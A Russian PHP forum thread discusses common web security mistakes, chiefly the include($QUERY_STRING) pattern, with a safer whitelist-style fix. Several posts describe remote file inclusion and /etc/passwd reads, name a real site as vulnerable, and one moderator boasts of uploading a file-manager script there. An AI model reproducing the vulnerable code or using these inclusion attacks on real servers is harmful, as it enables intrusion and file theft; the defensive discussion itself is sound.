Ошибки(Халтура) в программировании ... (чем грешат даже крутые студии)

Насколько надежны сайты на PHP?

  • Зависит от того кто пишет код (уровень знаний, опыт)

    Голосов: 20 87,0%
  • Зависит от админа сервера

    Голосов: 14 60,9%
  • Зависит от разработчиков PHP

    Голосов: 5 21,7%
  • Опс... оказывается у меня одна из описанных ошибок

    Голосов: 2 8,7%

  • Всего проголосовало
    23
  • Опрос закрыт .

maxy_v

Guest
А вообще- для пущей защищенности инклюдов я их все складываю в один каталог, в котором больше кроме инклюдов ничего нет, и кладу туда .htaccess cо строкой "Deny from All"
 

Saruman

Guest
Re: Вот еще ссылки

А для тех, кто интересуется, могу предложить посетить тот Web Application Security Project (http://www.owasp.org), или почитать на SecurityFocus рассылку Web Application Security - она поддерживается тем же OWASPом, и там нередко много интересного встречается на тему веб-безопасности.
А насчет опасности всяких %, ', " и тому подобных символов выходило CERT Advisory под названием CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests. Лежит на http://www.cert.org/advisories/CA-2000-02.html.
Если кто заинтересуется - могу поделиться еще всякими собранными материалами на тему разных SQL Injection и т.п.
 

AnToXa

prodigy-одаренный ребенок
Re: Re: Re: Ошибки(Халтура) в программировании ... (чем грешат даже крутые студии)

Автор оригинала: Unregistered
На сколько я понял что Вы против, такого подхода
<html>
<head>
........
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.html"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.php делаем index.php?patch/index.html.
да, конечно, в эту дыру пролезет и слон. :))) вы случайно не webzona.net ? :)))
 

AnToXa

prodigy-одаренный ребенок
Re: Re: Re: Re: Re: Ошибки(Халтура) в программировании ... (чем грешат даже крутые студии)

Автор оригинала: Unregistered
Нет....
Просто "затраханый" :) вечной сменой дизайна, вот хотел уйти от фреймов, но пока...
А что Вы на такое скажете (index.phtml)
сказал же, что ДЫРА ЭТО!!! ДЫРИЩА!
safe_mode еще может как-то помочь, но не очень сильно.
 

AnToXa

prodigy-одаренный ребенок
Re: Re: Re: Re: Re: Re: Re: Ошибки(Халтура) в программировании ... (чем грешат даже крутые студии)

Автор оригинала: Unregistered
А как лучше посоветуете?...
safe_mode включен
я юзаю switch
 

AnToXa

prodigy-одаренный ребенок
Re: Re: Re: Re: Re: Re: Re: Re: Re: Ошибки(Халтура) в программировании ... (чем грешат даже крутые с

Автор оригинала: Unregistered
switch Что это такое?
Я в PHP не силен, знания оканчиваются html и Java слегка CGI
угадай что я отвечу :))) ма ну ал
 

AnToXa

prodigy-одаренный ребенок
Re: Ошибки в программировании ...

Автор оригинала: Unregistered
Но на сколько я понял, в принципе если в директориях и файлах ни чего не прячешь то можно применять этот вариант (если весь сайт был на чистом html, типа визитка или типа -пусть пересмотрят хоть все файлы :)
(index.phtml)
<html>
<head>
............
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.phtml"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.phtml делаем http://name/index.phtml?patch/index.phtml,
так называемая - передача имени страницы или есть еще каие-то проблемы в этом подходе?
тогда пересмотрят все файлы :) включая .htaccess /etc/passwd и еще и любой код выполнят на твоем сервере
 

makRo

Guest
Re: Ошибки в программировании ...

Автор оригинала: Unregistered
Но на сколько я понял, в принципе если в директориях и файлах ни чего не прячешь то можно применять этот вариант (если весь сайт был на чистом html, типа визитка или типа -пусть пересмотрят хоть все файлы :)
(index.phtml)
<html>
<head>
............
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.phtml"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.phtml делаем http://name/index.phtml?patch/index.phtml,
так называемая - передача имени страницы или есть еще каие-то проблемы в этом подходе?
Если хочешь юзать такой код, то хотя-бы вырезай из $QUERY_STRING всякие нехорошие символы, а странички бери из определённой папки.
примерно ! так (код не проверял)

PHP:
$page = ereg_replace("[^0-9a-zA-Z.]+" , "", $QUERY_STRING);
if ($page=="")
{
    include ("pages/main.html");
}
else
{
   if(file_exists("pages/".$page.".html")
   {
       include("pages/".$page.".html");
   } 
   else
   {
       include("pages/main.html");
   }
}
 

makRo

Guest
ещё Re: Ошибки в программировании ...

to -> Unregistered

Просто include может подключать файлы с другого сервера... улавливаешь мысль ?))
Вместо локального файла подключаем
http://youSite/youScript.php?http://otherSite.FreeServer.ru/Very_good_code_=).txt

где в Very_good_code_=).txt
<?
/* ЧТО УГОДНО !!! Редактирование, удаление, создание файлов ...... И Т.Д.*/
?>

делаем с сайтом чего хотим
 

tony2001

TeaM PHPClub
Re: ещё Re: Ошибки в программировании ...

Автор оригинала: makRo
Вместо локального файла подключаем
http://youSite/youScript.php?[url]http://otherSite.FreeServer.ru/Very_good_code_=[/url]).txt
где в Very_good_code_=).txt
<?
/* ЧТО УГОДНО !!! Редактирование, удаление, создание файлов ...... И Т.Д.*/
?>
делаем с сайтом чего хотим
да?
include инклудит РЕЗУЛЬТАТ выполнения скрипта с удаленного сервера, а не сам скрипт.
иначе уже бы пол-инета хакнули.
 

su1d

Старожил PHPClubа
Re: Re: ещё Re: Ошибки в программировании ...

Автор оригинала: tony2001
да?
include инклудит РЕЗУЛЬТАТ выполнения скрипта с удаленного сервера, а не сам скрипт.
иначе уже бы пол-инета хакнули.
поэтому инклудится TXT, а не PHP...
 

makRo

Guest
Re: Re: ещё Re: Ошибки в программировании ...

Автор оригинала: tony2001
да?
include инклудит РЕЗУЛЬТАТ выполнения скрипта с удаленного сервера, а не сам скрипт.
иначе уже бы пол-инета хакнули.
В том то и фишка, что подключается просто текст ! И если этот текст заключён между <? ... ?> то он воспринимается как такой же php-код как и в первом скрипте ))

Тут на первой паге приводили пример с http://technomania.ru/main.php3?/etc/passwd (дыру уже вроде закрыли). Туда я заинклудил простой txt и через простую команду fopen("myScript.php", "w"); fwrite ($fp , "myGOODcode"); создал файлик (*.php)) , который выводил содержание директорий, кстати до корня )... А если передавать POST'oм все пути и переменные, то и в логах ничего не найдут.

Вобщем вроде незначительная штука на первый взгляд, а как можно раскрутить)))
 

telepuzik

тинки-винки
If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

то есть по идее tony прав - отдается результат исполнения который включается в вывод, но никак не интерпритируется...

может я не прав? кто нить пробовал реально такое провернуть?
 

AnToXa

prodigy-одаренный ребенок
Автор оригинала: telepuzik

то есть по идее tony прав - отдается результат исполнения который включается в вывод, но никак не интерпритируется...

может я не прав? кто нить пробовал реально такое провернуть?
тони прав только в том, что выдается результат с сервера (интерпретируется он сервером или нет)... и если include, то включается в исполняемый код скрипта, т.е. ИНТЕРПРЕТИРУЕТСЯ.
 

makRo

Guest
Автор оригинала: AnToXa

тони прав только в том, что выдается результат с сервера (интерпретируется он сервером или нет)... и если include, то включается в исполняемый код скрипта, т.е. ИНТЕРПРЕТИРУЕТСЯ.
Точно так ))

Интерпретируется и исполняется он на сервере КУДА инклудится и не на том С КОТОРОГО инклудится
 

AnToXa

prodigy-одаренный ребенок
Автор оригинала: makRo


Точно так ))

Интерпретируется и исполняется он на сервере КУДА инклудится и не на том С КОТОРОГО инклудится
бред.

интерпретируется там, ОТКУДА (по очевидным причинам)
и там КУДА (если используется include/require)
 

makRo

Guest
... точнее исполняется на том и на другом :), но нам интересен то сервер КУДА ..)
 

etc

Guest
Автор оригинала: ruslan
1. Не сокрытие от обычного пользователя сообщений об ошибках в скрипте (пипа header already send)
2. Вываливание клиенту отладочной информации типа текста непрошедших запросов и т.п.
это не есть "ошибка"
 

antonio

Moderator
Команда форума
Re: Re: Re: ещё Re: Ошибки в программировании ...

Автор оригинала: makRo

Тут на первой паге приводили пример с http://technomania.ru/main.php3?/etc/passwd (дыру уже вроде закрыли).
Ниче там не закрыли, тупой программер делал, вставили проверку, чтобы конец строки на htm заканчивался, ну я им и залил :)

http://technomania.ru/remview.php3
 
Сверху